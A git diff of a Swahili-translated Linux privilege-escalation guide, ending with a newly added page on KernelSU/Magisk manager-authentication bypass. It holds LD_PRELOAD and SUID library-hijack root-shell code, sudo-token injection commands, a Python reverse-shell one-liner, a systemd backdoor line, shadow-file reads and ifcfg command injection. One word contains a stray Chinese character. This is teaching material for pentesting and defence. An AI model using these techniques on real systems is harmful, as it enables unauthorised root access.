@ -785,9 +785,9 @@ Kigezo cha mazingira **LD_PRELOAD** kinatumika kubaini maktaba moja au zaidi za
|
||||
Hata hivyo, ili kudumisha usalama wa mfumo na kuzuia kipengele hiki kutumika vibaya, hasa na **suid/sgid** executable, mfumo unatekeleza masharti fulani:
|
||||
|
||||
- Loader inapuuzilia mbali **LD_PRELOAD** kwa executable ambapo kitambulisho halisi cha mtumiaji (_ruid_) hakilingani na kitambulisho cha mtumiaji kinachofanya kazi (_euid_).
|
||||
- Kwa executable zenye suid/sgid, maktaba tu katika njia za kawaida ambazo pia ni suid/sgid ndizo zinazopakiwa kabla.
|
||||
- Kwa executable zenye suid/sgid, maktaba tu zilizoko katika njia za kawaida ambazo pia ni suid/sgid zinapakiwa kabla.
|
||||
|
||||
Kuongezeka kwa mamlaka kunaweza kutokea ikiwa una uwezo wa kutekeleza amri kwa kutumia `sudo` na matokeo ya `sudo -l` yanajumuisha taarifa **env_keep+=LD_PRELOAD**. Mipangilio hii inaruhusu kigezo cha mazingira **LD_PRELOAD** kudumu na kutambuliwa hata wakati amri zinapotekelezwa kwa `sudo`, ambayo inaweza kusababisha utekelezaji wa msimbo usio na mipaka kwa mamlaka yaliyoongezeka.
|
||||
Kuongezeka kwa mamlaka kunaweza kutokea ikiwa una uwezo wa kutekeleza amri kwa kutumia `sudo` na matokeo ya `sudo -l` yanajumuisha taarifa **env_keep+=LD_PRELOAD**. Mipangilio hii inaruhusu kigezo cha mazingira **LD_PRELOAD** kudumu na kutambuliwa hata wakati amri zinapotekelezwa kwa kutumia `sudo`, ambayo inaweza kusababisha utekelezaji wa msimbo usio na mipaka kwa mamlaka yaliyoongezeka.
|
||||
```
|
||||
Defaults env_keep += LD_PRELOAD
|
||||
```
|
||||
@ -804,12 +804,12 @@ setuid(0);
|
||||
system("/bin/bash");
|
||||
}
|
||||
```
|
||||
Kisha **jumuisha** kwa kutumia:
|
||||
Kisha **jenga** kwa kutumia:
|
||||
```bash
|
||||
cd /tmp
|
||||
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
|
||||
```
|
||||
Hatimaye, **panda mamlaka** ukifanya
|
||||
Hatimaye, **panda mamlaka** ukikimbia
|
||||
```bash
|
||||
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
|
||||
```
|
||||
@ -842,7 +842,7 @@ strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
|
||||
```
|
||||
Kwa mfano, kukutana na kosa kama _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (Hakuna faili au directory kama hiyo)"_ kunapendekeza uwezekano wa unyakuzi.
|
||||
|
||||
Ili kutumia hili, mtu angeendelea kwa kuunda faili ya C, sema _"/path/to/.config/libcalc.c"_, yenye msimbo ufuatao:
|
||||
Ili kutumia hii, mtu angeendelea kwa kuunda faili ya C, sema _"/path/to/.config/libcalc.c"_, yenye msimbo ufuatao:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@ -859,7 +859,7 @@ Kusanya faili ya C hapo juu kuwa faili ya kitu kilichoshirikiwa (.so) kwa:
|
||||
```bash
|
||||
gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
|
||||
```
|
||||
Hatimaye, kuendesha SUID binary iliyoathirika inapaswa kuanzisha exploit, ikiruhusu uwezekano wa kuathiriwa kwa mfumo.
|
||||
Hatimaye, kuendesha SUID binary iliyoathiriwa inapaswa kuanzisha exploit, ikiruhusu uwezekano wa kuathiriwa kwa mfumo.
|
||||
|
||||
## Shared Object Hijacking
|
||||
```bash
|
||||
@ -924,17 +924,17 @@ Mahitaji ya kupandisha haki:
|
||||
- `cat /proc/sys/kernel/yama/ptrace_scope` ni 0
|
||||
- `gdb` inapatikana (unaweza kuweza kuipakia)
|
||||
|
||||
(Unaweza kuwezesha kwa muda `ptrace_scope` kwa `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` au kubadilisha kwa kudumu `/etc/sysctl.d/10-ptrace.conf` na kuweka `kernel.yama.ptrace_scope = 0`)
|
||||
(Unaweza kuwezesha kwa muda `ptrace_scope` kwa `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` au kudumu kubadilisha `/etc/sysctl.d/10-ptrace.conf` na kuweka `kernel.yama.ptrace_scope = 0`)
|
||||
|
||||
Ikiwa mahitaji haya yote yanakidhi, **unaweza kupandisha haki kwa kutumia:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
|
||||
|
||||
- **unyakuzi wa kwanza** (`exploit.sh`) utaunda binary `activate_sudo_token` katika _/tmp_. Unaweza kuitumia **kuamsha token ya sudo katika kikao chako** (hutaweza kupata shell ya root moja kwa moja, fanya `sudo su`):
|
||||
- **kuvunjika kwa kwanza** (`exploit.sh`) kutaunda binary `activate_sudo_token` katika _/tmp_. Unaweza kuitumia **kuamsha token ya sudo katika kikao chako** (hutaweza kupata shell ya root moja kwa moja, fanya `sudo su`):
|
||||
```bash
|
||||
bash exploit.sh
|
||||
/tmp/activate_sudo_token
|
||||
sudo su
|
||||
```
|
||||
- The **second exploit** (`exploit_v2.sh`) itaunda sh shell katika _/tmp_ **iliyomilikiwa na root yenye setuid**
|
||||
- The **second exploit** (`exploit_v2.sh`) itaunda sh shell katika _/tmp_ **inayomilikiwa na root yenye setuid**
|
||||
```bash
|
||||
bash exploit_v2.sh
|
||||
/tmp/sh -p
|
||||
@ -973,7 +973,7 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win
|
||||
```
|
||||
### DOAS
|
||||
|
||||
Kuna mbadala kadhaa ya binary ya `sudo` kama `doas` kwa OpenBSD, kumbuka kuangalia usanidi wake katika `/etc/doas.conf`
|
||||
Kuna mbadala kadhaa ya `sudo` binary kama `doas` kwa OpenBSD, kumbuka kuangalia usanidi wake katika `/etc/doas.conf`
|
||||
```
|
||||
permit nopass demo as root cmd vim
|
||||
```
|
||||
@ -981,7 +981,7 @@ permit nopass demo as root cmd vim
|
||||
|
||||
Ikiwa unajua kwamba **mtumiaji kwa kawaida huungana na mashine na hutumia `sudo`** kuongeza mamlaka na umepata shell ndani ya muktadha wa mtumiaji huyo, unaweza **kuunda executable mpya ya sudo** ambayo itatekeleza msimbo wako kama root na kisha amri ya mtumiaji. Kisha, **badilisha $PATH** wa muktadha wa mtumiaji (kwa mfano kuongeza njia mpya katika .bash_profile) ili wakati mtumiaji anapotekeleza sudo, executable yako ya sudo itatekelezwa.
|
||||
|
||||
Kumbuka kwamba ikiwa mtumiaji anatumia shell tofauti (sio bash) utahitaji kubadilisha faili nyingine kuongeza njia mpya. Kwa mfano[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) inabadilisha `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Unaweza kupata mfano mwingine katika [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
|
||||
Kumbuka kwamba ikiwa mtumiaji anatumia shell tofauti (sio bash) utahitaji kubadilisha faili nyingine ili kuongeza njia mpya. Kwa mfano[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) inabadilisha `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Unaweza kupata mfano mwingine katika [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
|
||||
|
||||
Au kuendesha kitu kama:
|
||||
```bash
|
||||
@ -1002,7 +1002,7 @@ sudo ls
|
||||
|
||||
### ld.so
|
||||
|
||||
Faili `/etc/ld.so.conf` inaonyesha **mahali ambapo faili za usanidi zilizopakiwa zinatoka**. Kawaida, faili hii ina njia ifuatayo: `include /etc/ld.so.conf.d/*.conf`
|
||||
Faili `/etc/ld.so.conf` inaonyesha **mahali ambapo faili za usanidi zilizoloadiwa zinatoka**. Kawaida, faili hii ina njia ifuatayo: `include /etc/ld.so.conf.d/*.conf`
|
||||
|
||||
Hii inamaanisha kwamba faili za usanidi kutoka `/etc/ld.so.conf.d/*.conf` zitasomwa. Faili hizi za usanidi **zinaelekeza kwenye folda nyingine** ambapo **maktaba** zitatafutwa. Kwa mfano, maudhui ya `/etc/ld.so.conf.d/libc.conf` ni `/usr/local/lib`. **Hii inamaanisha kwamba mfumo utafuta maktaba ndani ya `/usr/local/lib`**.
|
||||
|
||||
@ -1064,7 +1064,7 @@ The **"read"** bit implies the user can **list** the **files**, and the **"write
|
||||
|
||||
Access Control Lists (ACLs) represent the secondary layer of discretionary permissions, capable of **overriding the traditional ugo/rwx permissions**. These permissions enhance control over file or directory access by allowing or denying rights to specific users who are not the owners or part of the group. This level of **granularity ensures more precise access management**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux).
|
||||
|
||||
**Give** user "kali" read and write permissions over a file:
|
||||
**Mpe** mtumiaji "kali" ruhusa za kusoma na kuandika juu ya faili:
|
||||
```bash
|
||||
setfacl -m u:kali:rw file.txt
|
||||
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)
|
||||
@ -1077,10 +1077,10 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
|
||||
```
|
||||
## Fungua vikao vya shell
|
||||
|
||||
Katika **toleo za zamani** unaweza **kudhibiti** baadhi ya **vikao** vya mtumiaji tofauti (**root**).\
|
||||
Katika **toleo za zamani** unaweza **kuchukua** baadhi ya **vikao** vya mtumiaji tofauti (**root**).\
|
||||
Katika **toleo za hivi karibuni** utaweza **kuungana** na vikao vya skrini tu vya **mtumiaji wako mwenyewe**. Hata hivyo, unaweza kupata **habari za kuvutia ndani ya kikao**.
|
||||
|
||||
### kudhibiti vikao vya skrini
|
||||
### kuchukua vikao vya skrini
|
||||
|
||||
**Orodha ya vikao vya skrini**
|
||||
```bash
|
||||
@ -1117,7 +1117,7 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c
|
||||
# If you are root or devs you can access it
|
||||
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
|
||||
```
|
||||
Angalia **Valentine box kutoka HTB** kwa mfano.
|
||||
Check **Valentine box from HTB** for an example.
|
||||
|
||||
## SSH
|
||||
|
||||
@ -1126,7 +1126,7 @@ Angalia **Valentine box kutoka HTB** kwa mfano.
|
||||
Mfunguo wote wa SSL na SSH ulioanzishwa kwenye mifumo ya msingi ya Debian (Ubuntu, Kubuntu, nk) kati ya Septemba 2006 na Mei 13, 2008 unaweza kuathiriwa na hitilafu hii.\
|
||||
Hitilafu hii inasababishwa wakati wa kuunda funguo mpya za ssh katika mifumo hiyo, kwani **mabadiliko 32,768 pekee yalikuwa yanawezekana**. Hii inamaanisha kwamba uwezekano wote unaweza kuhesabiwa na **ikiwa una funguo ya umma ya ssh unaweza kutafuta funguo ya kibinafsi inayolingana**. Unaweza kupata uwezekano uliohesabiwa hapa: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
|
||||
|
||||
### SSH Thamani za usanidi zinazovutia
|
||||
### SSH Interesting configuration values
|
||||
|
||||
- **PasswordAuthentication:** Inaelezea ikiwa uthibitishaji wa nenosiri unaruhusiwa. Kiwango cha kawaida ni `no`.
|
||||
- **PubkeyAuthentication:** Inaelezea ikiwa uthibitishaji wa funguo za umma unaruhusiwa. Kiwango cha kawaida ni `yes`.
|
||||
@ -1143,7 +1143,7 @@ Inaelezea ikiwa root anaweza kuingia kwa kutumia ssh, kiwango cha kawaida ni `no
|
||||
|
||||
### AuthorizedKeysFile
|
||||
|
||||
Inaelezea faili ambazo zinafunguo za umma ambazo zinaweza kutumika kwa uthibitishaji wa mtumiaji. Inaweza kuwa na alama kama `%h`, ambayo itabadilishwa na saraka ya nyumbani. **Unaweza kuashiria njia kamili** (zinazoanzia na `/`) au **njia za kulinganisha kutoka nyumbani kwa mtumiaji**. Kwa mfano:
|
||||
Inaelezea faili ambazo zinafunguo za umma ambazo zinaweza kutumika kwa uthibitishaji wa mtumiaji. Inaweza kuwa na alama kama `%h`, ambayo itabadilishwa na saraka ya nyumbani. **Unaweza kuashiria njia kamili** (zinazoanzia `/`) au **njia za kulinganisha kutoka nyumbani kwa mtumiaji**. Kwa mfano:
|
||||
```bash
|
||||
AuthorizedKeysFile .ssh/authorized_keys access
|
||||
```
|
||||
@ -1151,14 +1151,14 @@ Iyo usanidi utaonyesha kwamba ikiwa unajaribu kuingia na **funguo** ya mtumiaji
|
||||
|
||||
### ForwardAgent/AllowAgentForwarding
|
||||
|
||||
SSH agent forwarding inakuwezesha **kutumia funguo zako za SSH za ndani badala ya kuacha funguo** (bila nywila!) zikiwa kwenye seva yako. Hivyo, utaweza **kuruka** kupitia ssh **kwenda kwenye mwenyeji** na kutoka hapo **kuruka kwenda kwenye mwenyeji mwingine** **ukitumia** **funguo** iliyoko kwenye **mwenyeji wako wa awali**.
|
||||
SSH agent forwarding inakuwezesha **kutumia funguo zako za SSH za ndani badala ya kuacha funguo** (bila maneno ya siri!) zikiwa kwenye seva yako. Hivyo, utaweza **kuruka** kupitia ssh **kwenda kwenye mwenyeji** na kutoka hapo **kuruka kwenda kwenye mwenyeji mwingine** **ukitumia** **funguo** iliyoko kwenye **mwenyeji wako wa awali**.
|
||||
|
||||
Unahitaji kuweka chaguo hili katika `$HOME/.ssh.config` kama ifuatavyo:
|
||||
```
|
||||
Host example.com
|
||||
ForwardAgent yes
|
||||
```
|
||||
Kumbuka kwamba ikiwa `Host` ni `*` kila wakati mtumiaji an跳a kwenye mashine tofauti, mwenyeji huyo ataweza kufikia funguo (ambayo ni tatizo la usalama).
|
||||
Kumbuka kwamba ikiwa `Host` ni `*` kila wakati mtumiaji an跳a kwenye mashine tofauti, mwenyeji huyo atakuwa na uwezo wa kufikia funguo (ambayo ni tatizo la usalama).
|
||||
|
||||
Faili `/etc/ssh_config` inaweza **kufuta** hizi **chaguzi** na kuruhusu au kukataa usanidi huu.\
|
||||
Faili `/etc/sshd_config` inaweza **kuruhusu** au **kukataa** ssh-agent forwarding kwa neno kuu `AllowAgentForwarding` (kawaida ni ruhusa).
|
||||
@ -1181,7 +1181,7 @@ Ikiwa kuna skripti za wasifu zisizo za kawaida, unapaswa kuziangalia kwa **maele
|
||||
|
||||
### Faili za Passwd/Shadow
|
||||
|
||||
Kulingana na OS, faili za `/etc/passwd` na `/etc/shadow` zinaweza kuwa na jina tofauti au kuna nakala ya akiba. Kwa hivyo inashauriwa **kupata zote** na **kuangalia kama unaweza kusoma** ili kuona **kama kuna hash** ndani ya faili:
|
||||
Kulingana na OS, faili za `/etc/passwd` na `/etc/shadow` zinaweza kuwa na jina tofauti au kuna nakala ya akiba. Kwa hivyo inashauriwa **kupata zote** na **kuangalia kama unaweza kusoma** ili kuona **kama kuna hash** ndani ya faili hizo:
|
||||
```bash
|
||||
#Passwd equivalent files
|
||||
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
|
||||
@ -1221,7 +1221,7 @@ Unapaswa kuangalia kama unaweza **kuandika katika baadhi ya faili nyeti**. Kwa m
|
||||
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
|
||||
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
|
||||
```
|
||||
Kwa mfano, ikiwa mashine inaendesha seva ya **tomcat** na unaweza **kubadilisha faili la usanidi wa huduma ya Tomcat ndani ya /etc/systemd/,** basi unaweza kubadilisha mistari:
|
||||
Kwa mfano, ikiwa mashine inaendesha seva ya **tomcat** na unaweza **kubadilisha faili ya usanidi wa huduma ya Tomcat ndani ya /etc/systemd/,** basi unaweza kubadilisha mistari:
|
||||
```
|
||||
ExecStart=/path/to/backdoor
|
||||
User=root
|
||||
@ -1287,7 +1287,7 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam
|
||||
### Known files containing passwords
|
||||
|
||||
Soma msimbo wa [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), inatafuta **faili kadhaa zinazoweza kuwa na nywila**.\
|
||||
**Zana nyingine ya kuvutia** ambayo unaweza kutumia kufanya hivyo ni: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) ambayo ni programu ya chanzo wazi inayotumika kupata nywila nyingi zilizohifadhiwa kwenye kompyuta ya ndani kwa Windows, Linux & Mac.
|
||||
**Chombo kingine cha kuvutia** ambacho unaweza kutumia kufanya hivyo ni: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) ambacho ni programu ya chanzo wazi inayotumika kupata nywila nyingi zilizohifadhiwa kwenye kompyuta ya ndani kwa Windows, Linux & Mac.
|
||||
|
||||
### Logs
|
||||
|
||||
@ -1297,7 +1297,7 @@ Pia, baadhi ya logi za "**mbaya**" zilizowekwa vibaya (zilizokuwa na backdoor?)
|
||||
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
|
||||
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
|
||||
```
|
||||
Ili **kusoma kumbukumbu za log** kundi la [**adm**](interesting-groups-linux-pe/index.html#adm-group) litakuwa na msaada mkubwa.
|
||||
Ili **kusoma kumbukumbu kundi** [**adm**](interesting-groups-linux-pe/index.html#adm-group) itakuwa ya msaada mkubwa.
|
||||
|
||||
### Faili za Shell
|
||||
```bash
|
||||
@ -1327,7 +1327,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
|
||||
```
|
||||
### Logrotate exploitation
|
||||
|
||||
Uthibitisho katika `logrotate` unawaruhusu watumiaji wenye **idhini za kuandika** kwenye faili la log au saraka zake za mzazi kupata haki za juu. Hii ni kwa sababu `logrotate`, mara nyingi ikikimbia kama **root**, inaweza kudhibitiwa ili kutekeleza faili zisizo na mipaka, hasa katika saraka kama _**/etc/bash_completion.d/**_. Ni muhimu kuangalia idhini si tu katika _/var/log_ bali pia katika saraka yoyote ambapo mzunguko wa log unatumika.
|
||||
Uthibitisho katika `logrotate` unawaruhusu watumiaji wenye **idhini za kuandika** kwenye faili la log au saraka zake za mzazi kupata haki za juu. Hii ni kwa sababu `logrotate`, mara nyingi ikikimbia kama **root**, inaweza kudhibitiwa ili kutekeleza faili zisizo za kawaida, hasa katika saraka kama _**/etc/bash_completion.d/**_. Ni muhimu kuangalia idhini si tu katika _/var/log_ bali pia katika saraka yoyote ambapo mzunguko wa log unatumika.
|
||||
|
||||
> [!TIP]
|
||||
> Uthibitisho huu unahusisha toleo la `logrotate` `3.18.0` na la zamani
|
||||
@ -1340,13 +1340,13 @@ Uthibitisho huu ni sawa sana na [**CVE-2016-1247**](https://www.cvedetails.com/c
|
||||
|
||||
### /etc/sysconfig/network-scripts/ (Centos/Redhat)
|
||||
|
||||
**Kumbukumbu ya uthibitisho:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
|
||||
**Marejeo ya uthibitisho:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
|
||||
|
||||
Ikiwa, kwa sababu yoyote, mtumiaji anaweza **kuandika** script ya `ifcf-<chochote>` kwenye _/etc/sysconfig/network-scripts_ **au** inaweza **kurekebisha** ile iliyopo, basi **sistimu yako imepata udhibiti**.
|
||||
Ikiwa, kwa sababu yoyote, mtumiaji anaweza **kuandika** script ya `ifcf-<chochote>` kwenye _/etc/sysconfig/network-scripts_ **au** inaweza **kurekebisha** moja iliyopo, basi **sistimu yako imepata hatari**.
|
||||
|
||||
Scripts za mtandao, _ifcg-eth0_ kwa mfano zinatumika kwa muunganisho wa mtandao. Zinatazama kama faili za .INI. Hata hivyo, zinachukuliwa \~sourced\~ kwenye Linux na Network Manager (dispatcher.d).
|
||||
|
||||
Katika kesi yangu, `NAME=` inayotolewa katika hizi scripts za mtandao haishughulikiwi ipasavyo. Ikiwa una **nafasi nyeupe/boreshaji katika jina, mfumo unajaribu kutekeleza sehemu baada ya nafasi nyeupe/boreshaji**. Hii ina maana kwamba **kila kitu baada ya nafasi ya kwanza nyeupe kinatekelezwa kama root**.
|
||||
Katika kesi yangu, `NAME=` inayotolewa katika hizi scripts za mtandao haishughulikiwi ipasavyo. Ikiwa una **nafasi nyeupe/boreshaji katika jina, mfumo unajaribu kutekeleza sehemu baada ya nafasi hiyo nyeupe/boreshaji**. Hii inamaanisha kuwa **kila kitu baada ya nafasi ya kwanza ya boreshaji kinatekelezwa kama root**.
|
||||
|
||||
Kwa mfano: _/etc/sysconfig/network-scripts/ifcfg-1337_
|
||||
```bash
|
||||
@ -1358,7 +1358,7 @@ DEVICE=eth0
|
||||
|
||||
Direktori `/etc/init.d` ni nyumbani kwa **scripts** za System V init (SysVinit), **mfumo wa usimamizi wa huduma za Linux wa jadi**. Inajumuisha scripts za `kuanzisha`, `kusitisha`, `kurudisha`, na wakati mwingine `kureload` huduma. Hizi zinaweza kutekelezwa moja kwa moja au kupitia viungo vya alama vinavyopatikana katika `/etc/rc?.d/`. Njia mbadala katika mifumo ya Redhat ni `/etc/rc.d/init.d`.
|
||||
|
||||
Kwa upande mwingine, `/etc/init` inahusishwa na **Upstart**, mfumo mpya wa **usimamizi wa huduma** ulioanzishwa na Ubuntu, ukitumia faili za usanidi kwa kazi za usimamizi wa huduma. Licha ya mpito kwenda Upstart, scripts za SysVinit bado zinatumika pamoja na usanidi wa Upstart kutokana na safu ya ulinganifu katika Upstart.
|
||||
Kwa upande mwingine, `/etc/init` inahusishwa na **Upstart**, **usimamizi wa huduma** wa kisasa ulioanzishwa na Ubuntu, ukitumia faili za usanidi kwa kazi za usimamizi wa huduma. Licha ya mpito kwenda Upstart, scripts za SysVinit bado zinatumika pamoja na usanidi wa Upstart kutokana na safu ya ulinganifu katika Upstart.
|
||||
|
||||
**systemd** inajitokeza kama msimamizi wa kisasa wa kuanzisha na huduma, ikitoa vipengele vya juu kama vile kuanzisha daemon kwa mahitaji, usimamizi wa automount, na picha za hali ya mfumo. Inapanga faili katika `/usr/lib/systemd/` kwa ajili ya pakiti za usambazaji na `/etc/systemd/system/` kwa ajili ya marekebisho ya msimamizi, ikirahisisha mchakato wa usimamizi wa mfumo.
|
||||
|
||||
@ -1370,7 +1370,7 @@ Kwa upande mwingine, `/etc/init` inahusishwa na **Upstart**, mfumo mpya wa **usi
|
||||
nfs-no_root_squash-misconfiguration-pe.md
|
||||
{{#endref}}
|
||||
|
||||
### Kutoka kwenye Shell zilizopunguzika
|
||||
### Kutoka kwenye Shells zilizozuiliwa
|
||||
|
||||
{{#ref}}
|
||||
escaping-from-limited-bash.md
|
||||
@ -1403,10 +1403,10 @@ cisco-vmanage.md
|
||||
**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\
|
||||
**Mestaploit:** _**multi/recon/local_exploit_suggester**_\
|
||||
**Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\
|
||||
**EvilAbigail (ufikiaji wa kimwili):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
|
||||
**Kukusanya scripts zaidi**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
|
||||
**EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
|
||||
**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
|
||||
|
||||
## Marejeleo
|
||||
## Marejeo
|
||||
|
||||
- [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)
|
||||
- [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)
|
||||
@ -1426,4 +1426,12 @@ cisco-vmanage.md
|
||||
- [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
|
||||
- [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/)
|
||||
|
||||
## Mfumo wa rooting wa Android: unyanyasaji wa manager-channel
|
||||
|
||||
Mifumo ya rooting ya Android mara nyingi huunganisha syscall ili kufichua kazi za kernel zenye hadhi kwa msimamizi wa nafasi ya mtumiaji. Uthibitishaji dhaifu wa msimamizi (mfano, ukaguzi wa saini kulingana na FD-order au mipango mibaya ya nywila) unaweza kuwezesha programu ya ndani kuiga msimamizi na kupandisha hadhi hadi root kwenye vifaa ambavyo tayari vime-rooted. Jifunze zaidi na maelezo ya unyanyasaji hapa:
|
||||
|
||||
{{#ref}}
|
||||
android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -0,0 +1,190 @@
|
||||
# Android Rooting Frameworks (KernelSU/Magisk) Manager Auth Bypass & Syscall Hook Abuse
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Frameworks za rooting kama KernelSU, APatch, SKRoot na Magisk mara nyingi huweka patch kwenye kernel ya Linux/Android na kufichua kazi za kibali kwa programu ya "manager" isiyo na kibali kupitia syscall iliyounganishwa. Ikiwa hatua ya uthibitishaji wa meneja ina kasoro, programu yoyote ya ndani inaweza kufikia njia hii na kuongeza kibali kwenye vifaa vilivyoshikiliwa tayari.
|
||||
|
||||
Ukurasa huu unatoa muhtasari wa mbinu na mitego iliyogunduliwa katika utafiti wa umma (hasa uchambuzi wa Zimperium wa KernelSU v0.5.7) kusaidia timu za red na blue kuelewa uso wa mashambulizi, misingi ya unyakuzi, na mipango thabiti ya kupunguza hatari.
|
||||
|
||||
---
|
||||
## Mchoro wa usanifu: syscall-hooked manager channel
|
||||
|
||||
- Moduli ya kernel/patch inachukua syscall (kawaida prctl) kupokea "amri" kutoka kwa userspace.
|
||||
- Protokali kwa kawaida ni: magic_value, command_id, arg_ptr/len ...
|
||||
- Programu ya meneja ya userspace inathibitisha kwanza (mfano, CMD_BECOME_MANAGER). Mara kernel inapomwita kama meneja anayeaminika, amri za kibali zinakubaliwa:
|
||||
- Pata root kwa mwitishaji (mfano, CMD_GRANT_ROOT)
|
||||
- Simamia orodha za ruhusa/zuio kwa su
|
||||
- Badilisha sera ya SELinux (mfano, CMD_SET_SEPOLICY)
|
||||
- Uliza toleo/mipangilio
|
||||
- Kwa sababu programu yoyote inaweza kuita syscalls, usahihi wa uthibitishaji wa meneja ni muhimu.
|
||||
|
||||
Mfano (muundo wa KernelSU):
|
||||
- Syscall iliyounganishwa: prctl
|
||||
- Thamani ya kichawi ili kuelekeza kwa mpangaji wa KernelSU: 0xDEADBEEF
|
||||
- Amri zinajumuisha: CMD_BECOME_MANAGER, CMD_GET_VERSION, CMD_ALLOW_SU, CMD_SET_SEPOLICY, CMD_GRANT_ROOT, nk.
|
||||
|
||||
---
|
||||
## Mchakato wa uthibitishaji wa KernelSU v0.5.7 (kama ilivyotekelezwa)
|
||||
|
||||
Wakati userspace inaita prctl(0xDEADBEEF, CMD_BECOME_MANAGER, data_dir_path, ...), KernelSU inathibitisha:
|
||||
|
||||
1) Ukaguzi wa awali wa njia
|
||||
- Njia iliyotolewa lazima ianze na awali inayotarajiwa kwa UID ya mwitishaji, mfano /data/data/<pkg> au /data/user/<id>/<pkg>.
|
||||
- Rejea: core_hook.c (v0.5.7) mantiki ya awali ya njia.
|
||||
|
||||
2) Ukaguzi wa umiliki
|
||||
- Njia lazima iwe na umiliki wa UID ya mwitishaji.
|
||||
- Rejea: core_hook.c (v0.5.7) mantiki ya umiliki.
|
||||
|
||||
3) Ukaguzi wa saini ya APK kupitia skana ya jedwali la FD
|
||||
- Tembea vigezo vya faili vilivyo wazi vya mchakato wa mwitishaji (FDs).
|
||||
- Chagua faili ya kwanza ambayo njia yake inalingana na /data/app/*/base.apk.
|
||||
- Parse saini ya APK v2 na kuthibitisha dhidi ya cheti rasmi cha meneja.
|
||||
- Rejea: manager.c (kuhusu FDs), apk_sign.c (uthibitisho wa APK v2).
|
||||
|
||||
Ikiwa ukaguzi wote unakubalika, kernel inahifadhi UID ya meneja kwa muda na inakubali amri za kibali kutoka kwa UID hiyo hadi iporomoke.
|
||||
|
||||
---
|
||||
## Daraja la udhaifu: kuamini "APK ya kwanza inayolingana" kutoka kwa skana ya FD
|
||||
|
||||
Ikiwa ukaguzi wa saini unashikilia "APK ya kwanza inayolingana /data/app/*/base.apk" iliyopatikana katika jedwali la FD la mchakato, haithibitishi pakiti ya mwitishaji mwenyewe. Mshambuliaji anaweza kuweka APK iliyosainiwa kihalali (ya meneja halisi) ili ionekane mapema katika orodha ya FD kuliko base.apk yao wenyewe.
|
||||
|
||||
Kuamini kwa njia ya moja kwa moja kunawezesha programu isiyo na kibali kuiga meneja bila kumiliki funguo za saini za meneja.
|
||||
|
||||
Mali muhimu zinazotumika:
|
||||
